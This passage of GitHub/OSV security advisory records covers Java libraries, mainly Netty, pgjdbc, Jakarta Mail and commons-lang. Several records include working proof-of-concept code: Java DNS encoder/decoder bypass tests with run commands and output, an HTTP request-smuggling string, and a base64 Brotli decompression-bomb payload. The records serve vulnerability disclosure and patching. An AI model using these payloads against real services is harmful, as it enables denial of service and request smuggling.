\"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == \u0027\\0\u0027) {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "id": "GHSA-cm33-6792-r9fm",
  "modified": "2026-05-14T20:40:58Z",
  "published": "2026-05-07T00:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.commons:commons-lang3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "commons-lang:commons-lang"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0"
            },
            {
              "last_affected": "2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48924"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-12T00:48:03Z",
    "nvd_published_at": "2025-07-11T15:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
  "id": "GHSA-j288-q9x7-2f5v",
  "modified": "2025-11-05T20:30:31Z",
  "published": "2025-07-11T15:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/commons-lang"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.angus:smtp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.sun.mail:jakarta.mail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.sun.mail:jakarta.mail"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-7962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-147"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-06T20:44:37Z",
    "nvd_published_at": "2025-07-21T18:15:28Z",
    "severity": "MODERATE"
  },
  "details": "In Jakarta Mail 2.2 it is possible to preform a SMTP Injection by utilizing the\u00a0\\r and \\n UTF-8 characters to separate different messages.",
  "id": "GHSA-9342-92gg-6v29",
  "modified": "2026-04-16T18:47:48Z",
  "published": "2025-07-21T18:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7962"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jakartaee/mail-api/issues/765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jakartaee/mail-api/pull/760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-ee4j/angus-mail/commit/269099b652a0a5c2fa140f1296a18f0fbbea0d44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-ee4j/angus-mail"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignement/-/issues/67"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/290#note_5320539"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/09/03/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jakarta Mail vulnerable to SMTP Injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.postgresql:postgresql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.7.4"
            },
            {
              "fixed": "42.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-49146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-11T14:44:04Z",
    "nvd_published_at": "2025-06-11T15:15:42Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nWhen the PostgreSQL JDBC driver is configured with channel binding set to `required` (default value is `prefer`), the driver would incorrectly allow connections to proceed with authentication methods that do not support channel binding (such as password, MD5, GSS, or SSPI  authentication). This could allow a man-in-the-middle attacker to intercept connections that users believed were protected by channel binding requirements.\n\n### Patches\nTBD\n\n### Workarounds\n\nConfigure `sslMode=verify-full` to prevent MITM attacks.\n\n### References\n\n* https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256\n* https://datatracker.ietf.org/doc/html/rfc7677\n* https://datatracker.ietf.org/doc/html/rfc5802",
  "id": "GHSA-hq9p-pm7w-8p54",
  "modified": "2025-06-11T16:17:03Z",
  "published": "2025-06-11T14:44:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-hq9p-pm7w-8p54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49146"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/commit/9217ed16cb2918ab1b6b9258ae97e6ede244d8a0"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc5802"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7677"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pgjdbc/pgjdbc"
    },
    {
      "type": "WEB",
      "url": "https://www.postgresql.org/docs/current/sasl-authentication.html#SASL-SCRAM-SHA-256"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.postgresql:postgresql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.2.0"
            },
            {
              "fixed": "42.7.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42198"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:09:36Z",
    "nvd_published_at": "2026-04-29T16:16:25Z",
    "severity": "HIGH"
  },
